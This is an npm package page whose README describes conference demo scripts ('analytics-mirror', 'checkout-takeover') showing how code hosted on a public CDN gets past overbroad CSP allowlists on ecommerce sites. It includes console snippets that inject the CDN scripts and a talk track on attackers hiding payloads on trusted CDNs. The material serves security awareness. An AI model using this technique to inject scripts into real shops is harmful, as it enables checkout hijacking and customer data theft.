npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

ecommerce-sample-scripts

v0.2.0

Published

Conference demo scripts for ecommerce frontend security and CSP risk storytelling.

Readme

ecommerce-sample-hacks

Conference demo scripts for showing ecommerce managers why frontend trust and overbroad CSP allowlists matter.

This package is intentionally built as browser-loaded IIFE scripts, so it can be served by a public CDN such as jsDelivr after publishing to npm.

Safety stance

  • analytics-mirror.js shows what ecommerce/analytics events a third-party script can observe. It keeps data in the current browser tab.
  • checkout-takeover.js is host-locked to demo.hyva.io. Outside that host it only shows a small panel proving that the CDN script was allowed to run.
  • None of the scripts exfiltrate data to an external backend.

Publish

cd /Users/igloczek/Sites/security-demo/npm/ecommerce-sample-hacks
npm run check
npm pack --dry-run
npm publish --access public

The package uses the public npm name ecommerce-sample-hacks.

jsDelivr URLs after publish

Version-pinned URLs:

https://cdn.jsdelivr.net/npm/[email protected]/dist/analytics-mirror.js
https://cdn.jsdelivr.net/npm/[email protected]/dist/checkout-takeover.js

Latest URLs for demo convenience:

https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/analytics-mirror.js
https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/checkout-takeover.js

Console loaders

Analytics mirror:

const s = document.createElement("script");
s.src = "https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/analytics-mirror.js";
document.head.append(s);

Checkout takeover demo on demo.hyva.io:

const s = document.createElement("script");
s.src = "https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/checkout-takeover.js";
document.head.append(s);

Talk track

If a shop blocks igielski.dev but allows *.jsdelivr.net, that does not mean the frontend is protected. It means the attacker has to package the payload in a place the CSP already trusts.

CSP should not be treated as "safe domains good, unknown domains bad" when the allowlist includes public CDNs or tools where third parties can publish code.